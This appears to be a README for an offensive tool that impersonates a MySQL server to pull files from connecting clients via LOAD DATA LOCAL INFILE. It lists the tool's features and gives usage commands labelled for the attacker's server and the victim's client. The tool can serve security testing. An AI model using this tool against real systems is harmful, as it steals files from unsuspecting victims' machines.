Impersonates a MySQL server and attempts to retrieve files on the client system via LOAD DATA LOCAL INFILE.
This attack requires a client with LOCAL INFILE capabilities to connect to your server (whether via SSRF, MITM, or stupidity). The LOCAL INFILE capability is often enabled by default in older clients (especially in web applications).
I wrote this after encountering a client which could be exploited multiple times in a single session. In such an instance, this program can be used to retrieve an entire list of files.
- Handles all file types
- Allows input lists and multiple files per session
- Supports Linux and Windows clients/servers (probably works on Mac too)
- Detects when clients aren't vulnerable
- Recreates target's directory tree when saving files locally
- Handles fragmented packets
- Extensive debug output allows you to see states and packets
git clone https://github.com/jbacco/mysql-local-infile-exploit.git
Server (attacker):
python3 mysql-local-infile-exploit.py
Client (victim):
mysql --host <server ip> --port 3306 --enable-local-infile=1 -u admin -padmin